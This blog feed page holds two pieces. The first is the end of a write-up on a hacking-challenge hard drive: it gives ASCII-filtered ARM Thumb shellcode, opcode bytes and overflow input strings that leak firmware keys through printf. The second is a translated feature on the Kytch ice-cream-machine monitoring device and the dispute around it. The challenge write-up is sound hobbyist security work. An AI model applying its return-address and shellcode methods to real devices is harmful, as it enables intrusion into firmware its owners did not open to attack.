Блин, первая инструкция, как и все другие MOV, не пройдут фильтр. Хм, давайте подумаем. Может мы сможем сохранить содержимое R3 куда-то в память, а потом восстановим его в R5? Ведь, BX R5 прошла фильтр. Судя по программе, R7 указывает на таблицу целостности ключей - то есть, в этом регистре хранится адрес памяти, куда мы, наверное, можем писать. К черту таблицу целостности - когда мы пишем шеллкод, у нас полная свобода!

Первый

1. STR R3, [R7]  = 0x3B 0x60  = ";`"2. LDR R5, [R7]  = 0x3D 0x68  = "=h"3. BX R5         = 0x28 0x47  = "(G"
  1. Сохраняем адрес pfintf в память, куда указывает R7

  2. Подгружаем адрес printf из памяти в R5

  3. Триггерим printf

Вау! Все опкоды пройдут фильтр. Помним, что мы начинаем исполнять наш код начиная с третьего символа. Первый символ - обязательно будет "R", второй - не важно какой. Конвертируем hex значения опкодов в ASCII, вводим что-то рандомное (соблюдаем наше количество в 163 символа), и в конце пишем адрес третьего символа на стеке - туда и вернется исполнение программы. Верхний байт адреса возврата 0x00 возьмется с символа новой строки.

F3 T>R!;`=h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,WRITE_READ_VERIFY_ENABLEDLED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

В этот момент у меня прям реально пошли мурашки по коже! Мы получили что-то помимо ошибок. Это значит только одно - мы успешно триггернули printf. И, судя по тому, что в процессе программы, мы, как минимум прогоняем код по одному из ключей (скорее всего по первому), он должен лежать в R0. Ladies & Gentleman, мы видим первый ключ! По поводу ошибок FAddr я писал в предыдущей статье, но здесь повторюсь - поскольку мы абьюзим адрес возврата, после выполнения printf процессор начинает исполнять неизвестный нам код. Он натыкается на невалидный код операции, и показывает адрес, где он с ним столкнулся. После такого - только ребут жесткого диска по питанию.

Второй

Для всех дальнейших ключей нам надо сделать следующее. Здесь вы видите части из level_3.html, где ключи расставляются в регистры R1-R3:

...079. ROM:00332D94                 LDREQ           R1, [R4,#4]080. ROM:00332D98                 EOREQ           R1, R1, R0...091. ROM:00332DB8                 LDREQ           R2, [R4,#8]092. ROM:00332DBC                 EOREQ           R2, R2, R1...105. ROM:00332DE4                 LDREQ           R3, [R4,#0xC]106. ROM:00332DE8                 EOREQ           R3, R3, R2...

Как видим, каждый следующий ключ зависим от предыдущего через EOR. Из-за такой зависимости, для второго ключа, мы должны где-то хранить первый. Для третьего мы должны где-то хранить второй и тд. Инструкций с приставкой -EQ нету в Thumb. Они нам и не нужны. В качестве Thumb-овских аналогов, для LDREQ есть простой LDR, а для EOREQ есть EORS (это не совсем аналоги, но для наших целей - сойдут).

Пробуем сделать второй ключ:

1. STR R3, [R7]       = 0x3B 0x60   = ";`"2. LDR R5, [R7]       = 0x3D 0x68   = "=h"3. LDR  R1, [R4, #4]  = 0x61 0x68   = "ah"4. EORS R1, R0        = 0x41 0x40   = "A@"5. STR R1, [R7]       = 0x39 0x60   = "9`"6. LDR R0, [R7]       = 0x38 0x68   = "8h"7. BX R5              = 0x28 0x47   = "(G"
  1. Сохраняем адрес pfintf в память, куда указывает R7

  2. Подгружаем адрес printf из памяти в R5

  3. Грузим второй ключ по правилам из level_3.html в R1

  4. Делаем EORS с первым ключом из R0 и сохраняем в R1. Второй ключ готов

  5. Сохраняем его в память, куда указывает R7

  6. Подгружаем его в R0

  7. Триггерим printf

Все инструкции проходят фильтр. Пробуем и радуемся - вот наш второй ключ!

F3 T>R!;`=hahA@9`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,DOWNLOAD_MICROCODE_FUTURE_USE_ONLYLED:000000EE FAddr:002C7B5CLED:000000EE FAddr:002C7B5C

Третий

Для третьего ключа, делаем похожее:

1. STR R3, [R7]       = 0x3B 0x60 = ";`"2. LDR R5, [R7]       = 0x3D 0x68 = "=h"3. LDR R1, [R4, #4]   = 0x61 0x68 = "ah"4. EORS R1, R0        = 0x41 0x40 = "A@"5. LDR R2, [R4, #8]   = 0xA2 0x68 = "h"6. EORS R2, R1        = 0x4A 0x40 = "J@"7. STR R2, [R7]       = 0x3a 0x60 = ":`"8. LDR R0, [R7]       = 0x38 0x68 = "8h"9. BX R5              = 0x28 0x47 = "(G"

Опа! Инструкция на строке 5 не пройдет фильтр из-за символа "". Он хоть и имеет текстовое представление, но не входит в рамки ASCII. Если я введу его в консоль, мне моментально отобразится сообщение, мол, символ не верный, и покажет чистую строку приглашения:

F3 T>Input_Command_ErrorF3 T>

Инструкция LDR R2, [R4, #8] делает оффсет от R4 на 8 байт, лезет по адресу в память, и сохраняет содержимое в R2. Хм, мы можем хитро выкрутится, и прибавить к адресу в R4 4 байта, а потом лезть в память с таким же оффсетом как и для первого ключа (инструкция на строке 3 проходит ASCII фильтр как с R1, так и с R2).

ADDS R4, #4   = 0x04 0x34 = " 4"

Черт побери, из-за 0х04 мы не сможем использовать подобное. Включаем максимальную хитрость! Может прибавить 44, а потом отнять 40?

ADDS R4, #44  = 0x2c 0x34 = ",4"SUBS R4, #40  = 0x28 0x3c = "(<"

Вау! Должно сработать. Делаем парочку изменений:

01. STR R3, [R7]       = 0x3B 0x60 = ";`"02. LDR R5, [R7]       = 0x3D 0x68 = "=h"03. LDR  R1, [R4, #4]  = 0x61 0x68 = "ah"04. EORS R1, R0        = 0x41 0x40 = "A@"05. ADDS R4, #44       = 0x2c 0x34 = ",4"06. SUBS R4, #40       = 0x28 0x3c = "(<"07. LDR R2, [R4, #4]   = 0xA2 0x68 = "bh"08. EORS R2, R1        = 0x4A 0x40 = "J@"09. STR R2, [R7]       = 0x3a 0x60 = ":`"10. LDR R0, [R7]       = 0x38 0x68 = "8h"11. BX R5              = 0x28 0x47 = "(G"
F3 T>R!;`=hahA@,4(<bhJ@:`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,TraceBufferControlFlags1_37LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

Ну ничего себе! У нас получилось. Это наш третий ключик!

Четвертый

Идем по тому же пути:

01. STR R3, [R7]       = 0x3B 0x60 = ";`"02. LDR R5, [R7]       = 0x3D 0x68 = "=h"03. LDR R1, [R4, #4]   = 0x61 0x68 = "ah"04. EORS R1, R0        = 0x41 0x40 = "A@"05. ADDS R4, #44       = 0x2c 0x34 = ",4"06. SUBS R4, #40       = 0x28 0x3c = "(<"07. LDR R2, [R4, #4]   = 0xA2 0x68 = "bh"08. EORS R2, R1        = 0x4A 0x40 = "J@"09. ADDS R4, #44       = 0x30 0x34 = ",4"10. SUBS R4, #40       = 0x28 0x3c = "(<"11. LDR R3, [R4, #4]   = 0x63 0x68 = "ch"12. EORS R3, R2        = 0x53 0x40 = "S@"09. STR R3, [R7]       = 0x3b 0x60 = ";`"10. LDR R0, [R7]       = 0x38 0x68 = "8h"11. BX R5              = 0x28 0x47 = "(G"

Вводим:

F3 T>R!;`=hahA@,4(<bhJ@,4(<chS@;`8h(G!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!+{,${SORRY_HABR_DONT_WANT_TO_LEAK_KEY}LED:000000EE FAddr:002C7BB4LED:000000EE FAddr:002C7BB4

Ну вот и все. Мы сгенерировали все ключи! Совместив их в 1 строку я получил пароль к архиву. Когда пытался его ввести в 7z, я почему-то получил ошибку. Но, потыкав порядок ключей при совмещении строки, я все же добился желаемого. У нас 4 ключа, то есть - 16 возможных комбинаций. Такое брутфорсится в ручном режиме.

user@ubuntu:/media/user/LEVEL3$ 7z x final_level.lod.7z.encrypted7-Zip [64] 17.04 : Copyright (c) 1999-2021 Igor Pavlov : 2017-08-28p7zip Version 17.04 (locale=utf8,Utf16=on,HugeFiles=on,64 bits,8 CPUs x64)Scanning the drive for archives:1 file, 653959 bytes (639 KiB)Extracting archive: final_level.lod.7z.encrypted--Path = final_level.lod.7z.encryptedType = 7zPhysical Size = 653959Headers Size = 151Method = LZMA:20 7zAESSolid = -Blocks = 1Enter password (will not be echoed):Everything is OkSize:       1014784Compressed: 653959user@ubuntu:/media/user/LEVEL3$ file final_level.lodfinal_level.lod: data

Стоит оговорится, что наш шеллкод может быть еще круче. Мы можем сформировать format string типа "%s%s%s%s", разместить его где-то в памяти, передать его адрес через R0, а в остальные регистры расставить ключи. У нас целых 0x90 байт для шеллкода. Но, раз уж мы решили левел, двигаем дальше.

1337

Финалочка. Прошив диск файлом final_level.lod мне открылся раздел диска с названием 1337. Мы очень близки к награде! Содержимое раздела:

user@ubuntu:/media/user/1337$ file *level4_instructions.txt:   ASCII textcongrats.pdf.7z.encrypted: 7-zip archive data, version 0.3

Наша инструкция:

user@ubuntu:/media/user/1337$ cat level4_instructions.txtAlmost...Enter the following commands:1. /52. B,,,,1,1BEE-BOOP-BAP-BOOP-BEE-BOOP

Нам ничего не остается как ввести это в консоль диска. Результат смотрите на видео:

Никогда не мог подумать, что слушать азбуку морзе и параллельно записывать точки и тире окажется на столько сложно. Пришлось позакрывать рты всем, кто находился со мной в комнате и воспользоватся айфоновским диктофоном :D

Точки и тире были очень различимы на графике. Таким образом я получил пароль от последнего файла. На pdf-ке был счастливый единорог на радужном фоне, координаты офиса ребят в NYC и email адрес компании для тех, кто решил диск. А также, приватный и публичный ключи от BTC кошелька с обещанной наградой. Я скачал биткоин клиент Electrum, и подписал транзакцию, которая перевела все 0.1337 BTC на мой кошелек. В наше время, без пруфов никуда. Поэтому, воть:

https://www.blockchain.com/btc/address/1JKXc7mv3HLAWVZJNMMK5sMCMvMUhUyqt5

Congrats.pdf

Эпилог

Есть еще одна вещь, которая выходила за рамки этих публикаций, но которая стоит внимания. На разделах диска было куча исследований от ребят из RedBalloonSecurity - pdf-ки и видосы с конференций. Как по мне, это отличный способ для кандидатов узнать чем занимается компания, и частью какого мира предстоит быть претенденту. Это очень круто!

Друзья, этот диск по правде занял очень теплое место в истории моей жизни. И я был чертовски рад поделится этой историей с вами. Это был невероятно долгий путь. Как в процессе взлома, так и в процессе переноса моих мыслей и воспоминаний в виде этой серии публикаций. Наверное, всех интересует вопрос, получил ли я работу в Нью Йорке... мне хочется сделать из этого тайну а-ля в фильме "Начало" Кристофера Нолана. Юла пускай крутится, а зритель... будет сам думать, во сне это, или на яву.

Спасибо за ваши просмотры и лайки. Подписывайтесь на инсту o.tkachuk, хотя бы иногда тыкайте reddit, и держите свои HDD подальше от этих ребят. Всем спасибо за внимание!

Подробнее..

Перевод Они взломали машину для мороженого в McDonalds ради права на ремонт и развязали холодную войну

17.05.2021 12:14:39 | Автор: admin

Тайные коды, угрозы судом, предательства. Как одна пара собрала устройство для исправления машин для мороженого в McDonald's, печально известных частыми поломками, и как гигант фастфуда заморозил их бизнес.




Джереми ОСалливан настаивает, что из всех загадок и странностей машины для мороженого от McDonald's в первую очередь нужно разобраться с её секретным паролем.

Как он поясняет, нужно нажать на экране цифровой машины для мороженого Taylor C602 на символ рожка для мороженого, потом нажать на кнопки со снежинкой и с молочным коктейлем, чтобы на экране появились цифры 5, потом 2, потом 3, потом 1. После этой последовательности из целых 16 нажатий на экране волшебным образом возникнет меню. Только при помощи этого чит-кода можно получить доступ к жизненно важным показателям машины ко всему, от настроек вязкости для таких ингредиентов, как молоко и сахар, до температуры гликоля в нагревательном элементе и смысла множества загадочных сообщений об ошибках.

Никто из компаний McDonald's или Taylor не объясняет, зачем там нужно тайное, скрытое меню, написал ОСалливан в одном из своих первых загадочных сообщений, которые я начал получать от него в этом году.

Как говорит ОСалливан, этого меню нет в ни в одной инструкции для покупателей цифровой машины для мороженого от Taylor, являющейся стандартным оборудованием для более чем 13 000 закусочных McDonald's в США и ещё десятков тысяч по всему миру. И эта непрозрачность и недружественность к пользователям далеко не единственная проблема с этими машинами. Они завоевали репутацию до абсурда ненадёжных и хрупких. Благодаря множеству спорных инженерных решений они так часто ломаются во всех ресторанах McDonald's по всему миру, что даже превратились в настоящий мем в соцсетях. Поищите в твиттере "broken McDonalds ice cream machine" и найдёте тысячи сообщений от раздосадованных людей.

Но после множества лет изучения этой сложной машины и множества вариантов её отказа, ОСалливана более всего раздражает то, что такой промышленный гигант, производящей пищевое оборудование, как Taylor, продаёт устройства для выдавливания McFlurry владельцам ресторанов McDonald's по $18 000 за штуку, и при этом не раскрывает им всех её внутренних секретов. Более того, Taylor поддерживает сеть из одобренных распространителей, ежегодно выставляющих открытым по франшизе ресторанам счета на тысячи долларов за дорогое обслуживание. За эти деньги техники компании, работающие по вызову, приходят в закусочные и вводят этот секретный пароль.

ОСалливан утверждает, что это секретное меню выдаёт наличие бизнес-модели, далеко выходящей за рамки простого понятия о праве на ремонт. По его словам, это просто молочно-коктейльное вымогательство [по-английски звучит красивее: milkshake shakedown / прим. пер.]. Схема простая: продайте закусочным сложную и капризную машину. Не давайте им понять, почему она постоянно ломается. Заберите себе часть их прибылей за обслуживание. Чрезвычайно прибыльно специально, намеренно ослеплять пользователя, чтобы он не мог вносить в оборудование, которым владеет, какие-либо фундаментальные изменения, говорит ОСалливан. А над всем этим стоит McDonald's, настаивающий на лояльном отношении к давнишнему поставщику. Возразишь монархии от McDonald's насчёт оборудования и корпорация отнимет у тебя франшизу.

Поэтому пару лет назад, после собственных странных и болезненных мучений с этими устройствами от Taylor, 34-летний ОСалливан и его партнёр, 33-летняя Мелисса Нельсон, начали продавать устройство размером с небольшую книгу под названием Kytch. Устанавливаете его в вашей машине для мороженого, подключаете к своему Wi-Fi, и оно взламывает ваше враждебное устройство, предоставляя доступ ко всем его запретным секретам. Kytch работает как жучок для прослушки, перехватывая все коммуникации между компонентами, и отправляя их на компьютер с более дружелюбным интерфейсом, чем у Taylor. Устройство не только показывает все внутренние данные машины, но и пишет их в журнал, и даже предлагает способы устранения проблем и всё это через web-интерфейс.


ОСалливан и Нельсон

В итоге, как только McDonald's и Taylor узнали о первых успехах Kytch, развязалась идущая уже два года Холодная война, сейчас перетекающая в горячую. В какой-то момент создатели Kytch даже решили, что Taylor наняла частных детективов, чтобы заполучить их устройства. Недавно Taylor показала собственный конкурирующий продукт, предлагающий мониторинг машин через интернет. McDonald's дошла до того, что разослала франшизам е-мейлы, предупреждая о том, что устройства Kytch осуществляют доступ к конфиденциальной информации Taylor и даже могут серьёзно поранить людей.

ОСалливан с партнёром, понаблюдав за попытками McDonald's и Taylor уничтожить их бизнес в течение пяти месяцев, прошедших с отправки тех самых емейлов, перешли в контрнаступление. Парочка, стоящая за Kytch, рассказала, что планирует подать в суд на те франшизы McDonald's, которые они подозревают в сговоре с Taylor в передаче компании устройств Kytch с целью реверс-инжиниринга. А это уже является нарушением договора с Kytch. В Taylor отрицают, что получили в своё распоряжение устройства, но не отрицают своего желания заполучить одно из них, или того, что дистрибьютор компании в итоге добрался до одного из устройств. Этот иск, вероятно, станет лишь первым залпом в намечающейся грязной юридической баталии против Taylor с McDonald's.

Однако в первых своих письмах мне ОСалливан ничего не говорил об этой эскалации конфликта. Вместо этого он скромно предложил мне потянуть за одну из ниточек, которые, по его словам, приведут к крупному заговору. Думаю, вы сможете раскрыть миру всю эту историю, просто задавая простой и разумный вопрос: зачем существует это скрытое меню?

* * *

Стандартная машина для мороженого от Taylor, стоящая на кухне McDonald's, напоминает итальянский спортивный автомобиль, как сказал мне владелец одной франшизы, пишущий в твиттере под ником McD Truth.

Когда сотни сложнейших компонентов машины Taylor C602 действуют в унисон, её работа образец эффективности и мощи. Она, как и другие машины для мороженого, принимает жидкие ингредиенты через воронку, а потом замораживает во вращающейся бочке, и срезает тонкие слои замороженной смеси с поверхности холодного металлического контейнера специальными лезвиями. Она постоянно перемешивает ингредиенты, чтобы получить кристаллы минимального размера, а потом проталкивает через сопло в ожидающий вафельный конус или чашку.

Особенность этого аппарата в том, что у него есть две воронки и две бочки, каждая из которых работает независимо со своими определёнными настройками. В результате машина может одновременно выдавать молочные коктейли и мягкое мороженое. В отличие от множества машин, вместо гравитации она использует насос, ускоряющий прохождение макфлурри и других десертов. McD Truth описывает, что в пиковое время машина выдают до 10 конусов мороженого в минуту другие машины на такое не способны.


Печально известные своим капризным характером и хрупкостью машины от Taylor используются практически всеми крупными сетями фастфуда, среди которых и более 13 000 ресторанов McDonald's в США, а также десятки тысяч этих заведений по всему миру

И хотя другие машины для мороженого нужно разбирать и чистить ежедневно, выбрасывая из них все остатки продуктов, в Taylor используется ежедневная тепловая обработка. Остатки еды нагреваются до 66 С, выдерживаются в таком виде 30 минут, а потом снова замораживаются в течение ночи. Получается современное чудо гигиены и экономии.

Однако в соответствии с аналогией с итальянской спортивной машиной эти агрегаты также капризные, хрупкие и чересчур сложные. Они отлично работают, когда всё идеально на 100%, пишет McD Truth. А если что-то не идеально, машина ломается. По договору франшизы McDonald's позволяет закусочным использовать другую, на этот раз реально итальянскую машину для мороженого производства Carpigiani из города Болонья. McD Truth пишет, что эта машина спроектирована гораздо лучше, но, учитывая, что запчасти из Италии могут идти для неё неделю, её покупает куда как меньше ресторанов.

Каждые две недели все высокоточные компоненты машины необходимо разбирать и обеззараживать. Некоторые её части надо тщательно смазывать. Среди её компонентов есть не менее двух десятков пластиковых и резиновых кольцевых прокладок различных размеров. Забудете хоть одну и насос откажет, или жидкие ингредиенты протекут. Техник одной из закусочных рассказал мне, что разбирал и собирал машину для мороженого от Taylor более сотни раз, и после сборки с первого раза они работали едва ли в десяти случаях. Они очень, очень, очень капризные, говорит он.


Все эти компоненты нужно вынуть, очистить и смазать и так каждые две недели.

Автоматический еженощный процесс пастеризации, вместо того, чтобы облегчать жизнь владельцам, стал для них самой большой обузой. Оставьте в воронках слишком много или слишком мало ингредиентов, случайно выключите машину в неподходящий момент, совершите ещё какую-нибудь из сотен тривиальных ошибок или столкнитесь с непредвиденной случайностью и машина прекращает четырёхчасовую пастеризацию, выводя непонятную ошибку общего характера. Означает она лишь то, что машина не будет работать до тех пор, пока не повторит полностью весь четырёхчасовой цикл нагрева и охлаждения, что часто происходит в пиковые часы продажи мороженого.

На этом можно сразу же недополучить сотни долларов. Особенно, как говорит ОСалливан, во время сезона трилистника, когда в McDonald's предлагаются зелёные мятные коктейли в честь дня св. Патрика, увеличивающие продажи коктейлей в десять раз. Сезон трилистника это, блин, очень серьёзно, подчёркивает ОСалливан.

И вот такие требовательные с технической точки зрения машины Taylor продаёт предприятиям, на которых за ними будет следить скучающий подросток, чья карьера в фастфуде ограничена несколькими неделями. Неудивительно, наверное, что во многих ресторанах McDonald's эти машины простаивают так же часто, как работают. Судя по статистике сайта McBroken.com, который автоматически пытается размещать в онлайне заказы на мороженое в каждом ресторане McDonald's в США раз в 20-30 минут, в любой момент за последние 2 месяца от 5 до 16% закусочных в США не могли продавать мороженое. В типичный неудачный день как, например, когда я размещал эту статью это означало, что мороженого не было в одном из пяти McDonald's в Лос-Анджелесе, Вашингтоне О.К. и Филадельфии, в одном из четырёх в Сан-Франциско, и в одном из десяти в Нью-Йорке.


Выборка статистики неработающих машин для мороженого в McDonald's США в произвольный момент времени

Многие компании боролись против предоставления прав собственным клиентам на ремонт приобретённого ими оборудования. Можно вспомнить попытки John Deere запретить фермерам доступ к ПО тракторов, и стремление Apple ограничить круг лиц, способных ремонтировать iPhone. Однако оборудование мало каких компаний приходится ремонтировать так часто по сравнению с машиной для мороженого в McDonald's. Когда WIRED обратилась в компанию McDonald's за комментариями, та даже и не подумала защищать беспорядочное поведение этих машин. Мы понимаем недовольство клиентов, пришедших в McDonald's за замороженной вкусняшкой, и обнаруживших сломанную машину для коктейлей. Мы стремимся улучшить эту ситуацию, написал представитель компании.

В соцсетях же машина для мороженого из McDonald's уже стала символом всех разочарований современными технологиями, капитализмом и условиями человеческого существования. Когда в 2017 году три женщины во Флориде напали на сотрудника McDonald's, узнав, что машина для мороженого сломана, значительная часть комментаторов в твиттере встала на сторону нападавших. Даже сама компания McDonald's писала в своём официальном аккаунте твиттера в прошлом году в августе, что у нас есть внутренняя шутка по поводу машины для мороженого, но мы беспокоимся, что она может не сработать.

Как-то вечером в марте я попытался подсчитать количество людей, написавших в твиттере вариацию шутки на тему о том, что они потратят $1400, полученные от правительства в качестве компенсации из-за пандемии, на починку машины для мороженого в местном McDonald's. После 200-го твита я сбился.

* * *

Ещё лет десять назад проблемы McDonald's с мороженым ещё не успели стать объектом критики в соцсетях. Поэтому когда в 2011 году ОСалливан и Нельсон впервые решили поставить на кон карьеры ради замороженных сладостей, им пришлось на себе ощутить все тонкости индустрии мягкого мороженого.

Познакомились они в Бакнеллском университете и начали встречаться в конце 2000-х, а потом начали свои карьеры в бухгалтерском деле Нельсон в Deloitte, а ОСалливан в Ernst & Young. Обоим это дело показалось невыносимо скучным. Спустя несколько лет они начали накидывать идеи по поводу собственного бизнеса, и остановились на увлечении замороженными йогуртами, из-за которого страну постепенно покрывали магазинчики Pinkberry и Red Mango.

Этот бизнес, по сути, строился на основе кучки машин для мороженого в основном таких машин от Taylor, у которых не было этапа пастеризации, убивающего йогуртовую культуру. И при всём при том продавцы йогурта платили за сотни квадратных метров недвижки и зарплаты толпам сотрудников, что составляло большую часть их ежемесячных затрат. Индустрия замороженных йогуртов требовала срочной переделки через автоматизацию.

Поэтому Нельсон и ОСалливан, работавшие тогда в Вашингтоне О.К. начали разрабатывать машину, которую назвали Frobot. Это был громоздкий шкаф, окаймлявший машину от Taylor для производства замороженного йогурта, с собственным сенсорным экраном размером с телевизор и терминалом для банковской карты. Иначе говоря, они решили сжать магазин замороженных йогуртов до одного автономного устройства. Они надеялись начать расставлять Frobot в общественных местах, включать и позволять машинам выдавливать им прибыль. Проблему с посыпкой им решить не удалось. Однако она, по признанию ОСалливана, всё равно почти не давала прибыли.

На постройку первого прототипа Frobot у них ушло три года. Они купили машину Taylor на сайте-барахолке Craigslist и наняли инженеров. После первого ничем не примечательного испытания в кафе медицинской школы в Западной Виргинии Нельсон и ОСалливан поставили Frobot в коворкинге Вашингтона О.К. Большой белый шкаф продемонстрировал умеренный успех. Парочка решила испытать удачу, они уволились и переехали в Сан-Франциско, чтобы заниматься стартапом вплотную, и разместили Frobot следующего поколения в общественном клубе близ Дворца изящных искусств, где, по их словам, машина начала зарабатывать по $500 в день.

Но теперь, выпустив Frobot в большой мир, изобретатели столкнулись с проблемой. Они хотели, чтобы их машина стала полностью автономной, и с минимальным вмешательством конвертировала молочные вкусняшки в деньги. Правила национального санитарного фонда США требовали периодической проверки температуры продукта, чтобы машина не продавала испортившийся и повторно замороженный йогурт, переполненный не теми микроорганизмами. Данные по температуре хранились внутри машины Taylor, и доступа к ним у парочки не было. Однако их заинтересовал тот факт, что техник, которого они вызывали для обслуживания машины, мог вызвать нужные им цифры, вводя секретный код 5231, не упомянутый в инструкции владельца.

Примерно тогда ОСалливан связался с контактом в акселераторе железячных стартапов Hax из Шэньчжэня, пригласившим его поработать над Frobot в мастерской Hax. Им пообещали инвестиции в $100 000 и консультации советников, среди которых был Эндрю Хуанг по прозвищу зайка, легендарный гуру железа, первым взломавший Xbox 20 лет назад. ОСалливан и Нельсон сочли это предложение шансом преодолеть трудность с мониторингом температуры. Смогут ли Хуанг и его коллеги помочь им вытаскивать данные из машины и отправлять их в реальном времени на удалённый интерфейс?

ОСалливан и один из инженеров, работавших по контракту над Frobot, переехали в Шэньчжэнь в конце 2016 года. Они начали работать на складе Hax, расположенных над одним из знаменитых электронных рынков города, и пытались разобраться в машине для мороженого от Taylor, чтобы понять работу внутренних коммуникаций машины и научиться перехватывать данные. Хуанг вспоминает, что ОСалливан по духу был больше предпринимателем, чем технологом, однако был впечатлён тем, насколько подробно было проработано будущее машин Frobot. С самого начала было ясно, что у них есть своё видение, говорит Хуанг.

Также Хуанг вспоминает, как обратил внимание ОСалливан на тот факт, что машина от Taylor, использованная для создания Frobot, как и многие агрегаты пищевой индустрии, использует древние технологии, по сути не менявшиеся уже лет 50. Она не получила никаких преимуществ ни закона Мура, ни даже Web 2.0, вспоминает Хуанг свои слова. Эту еду все едят, а машина при этом вышла из тёмных веков.

И всё же ОСалливан со своим инженером активно шли вперёд, и к концу пребывания в Китае, через четыре месяца, они построили устройство, которое в дальнейшем превратится в Kytch хак, помогающий Frobot удовлетворять санитарным требованиям США.

ОСалливан с Нельсон отмечают, что всё это они проделали благодаря полученным у компании Taylor знаниям, а иногда и её активному участию. Один из руководителей компании был на вечеринке в Вашингтоне, посвящённой запуску прототипа их машины. Позднее компания предложила им поставить 10 машин для мороженого для их адаптации. Компания ради них даже отправила одну свою машину в Шэньчжэнь. Ведь Frobot не становился конкурентом Taylor он был новым многообещающим источником продаж, или даже новым автоматическим рынком.

В какой-то момент, будучи в Шэньчжэне, ОСалливан написал своему контакту в Taylor просьбу дать совет по одному из технических вопросов. Руководитель компании ответил ему, что если они хотят подключиться к управлению машиной или перехватывать пакеты с данным, это придётся делать без помощи Taylor из-за внутренней политики безопасности компании.

Возможно, такой ответ нельзя назвать дружественным, но ОСалливан понял его так: мы не помогаем вам взламывать наши машины, но знаем, что вы делаете, и не останавливаем вас. То есть, как он говорит, они дали парочке карт-бланш.

* * *

В 2017 году Frobot начали набирать популярность. Tesla установила два таких автомата в своём кафе. Стадион Levi's, домашний для команды по американскому футболу Сан-Франциско Форти Найнерс, установил себе шесть штук, а владельцы футбольной команды вложились в компанию Нельсон и ОСалливана. Тем временем отношение Taylor к Frobot оставалось достаточно дружеским для того, чтобы приглашать парочку на презентацию автоматов на торговых выставках.

Нельсон и ОСалливан говорят, что на всех этих выставках и первых полевых испытаниях Frobot они начали узнавать мнения клиентов Taylor, совпадавшие с предупреждениями Хуанга об инженерном качестве этих машин. Несмотря на доминирующее положение этих агрегатов в фастфуде, их очень сложно поддерживать в рабочем состоянии.

В восьми автоматах Frobot, расположенных на территории залива Сан-Франциско начали появляться загадочные отказы и сообщения об ошибках, преследовавшие и других клиентов Taylor. Они получали от машин сообщения о слишком низкой температуре смеси для йогуртов. Или слишком высокой. Или о слишком большой вязкости. Вскоре они уже постоянно ездили на стадион Levi's, чтобы помогать сбитому с толку персоналу исправлять эти ошибки и пересобирать машины Taylor, находящиеся внутри их автоматов.


Полностью автоматический Frobot для продажи замороженных йогуртов, сделанный на основе машины для мороженого от Taylor

Постепенно они пришли к тому, что стали устанавливать внутрь корпусов Frobot камеры наблюдения Nest, чтобы понять, что там неправильно работает. Один раз они увидели, как смесь ингредиентов внутри Frobot, стоявшего на фабрике Tesla, запузырилась и вытекла из машины, залив весь шкаф жидким йогуртом. Через семь часов они посмотрели, как работник кафетерия в Tesla спокойно открывает шкаф, и, не сделав ничего с липкой массой, по-тихому устанавливает пластиковую лопатку, которую он забыл поставить до этого во время чистки машины.

Вскоре стало ясно, что их бизнес стал чем-то противоположным автоматизации никто на стадионе или в Tesla не мог настроить или поддерживать Frobot без постоянной личной помощи основателей компании. И проблема заключалась в машине Taylor, находившейся внутри Frobot. Эти машины просто отстой, вспоминает свои мысли в тот момент ОСалливан.

Вскоре ОСалливан и Нельсон поняли, что им надо что-то менять. И к тому времени они уже невольно работали над прототипом другого продукта, предлагавшего решение как раз той проблемы, что убивала их собственный бизнес.

После этого год с небольшим они оттачивали свой небольшой компьютерный компонент Frobot, следящий за данными, передающимися внутри машины для мороженого от Taylor, и создавали систему, позволявшую заглядывать внутрь машины и управлять всеми переменными. У них получился программный интерфейс для диагностики и решения множества проблем машины в небольшом корпусе, в котором размещался одноплатный компьютер Raspberry Pi.

Весной 2019 года они перезапустили свою компанию, уже под именем Kytch. Название обозначало размер их амбиций, и замах на создание целой умной кухни, далеко выходящей за рамки машины для мороженого.

Когда в апреле того года компания Kytch начала работу, Нельсон объездила всю территорию Залива в поисках ресторанов, использовавших машину от Taylor, рекламировала услуги владельцам франшиз в LinkedIn и предлагала шесть месяцев бесплатного пробного использования перед подпиской за $10/мес. Найдя несколько первых клиентов в Burger Kings и Super Duper Burgers, предприниматели, наконец, начали выходить на свой целевой рынок. Это были владельцы франшиз McDonald's, которые не только обладали крупнейшей коллекцией агрегатов от Taylor, но и использовали самую сложную и часто ломающуюся цифровую версию продукции компании.

Осенью 2019 года, начав проникать в причудливый внутренний мир работы закусочных McDonald's, ОСалливан и Нельсон были потрясены, узнав, что большинство владельцев закусочных никогда не получали доступ в сервисное меню, показывающие такие переменные, как температура воронок или гликоля, использовавшегося в капризном процессе пастеризации. Они даже не слышали об этом меню. И в этот момент у нас случилось просветление, говорит Нельсон. Почему настолько важные вещи скрыты за меню, о существовании которого большинство даже не подозревает?

Тем временем многие владельцы McDonald's ежемесячно выплачивали дистрибьюторам Taylor сотни долларов за обслуживание, и часто за услуги типа изменения простых настроек, спрятанных за эти меню. Тогда предприниматели добавили в свой Kytch функцию Kytch Assist, автоматически распознававшую некоторые из частых проблем машины и подстраивавшую эти скрытые переменные, предотвращая неприятности до того, как они произойдут.

Один владелец, попросивший остаться неизвестным, рассказал редакции, что машина для мороженого в одном из его ресторанов ломалась практически каждую неделю из-за загадочного отказа во время цикла пастеризации. Он периодически внимательно наблюдал за сборкой машины, но всё было без толку.

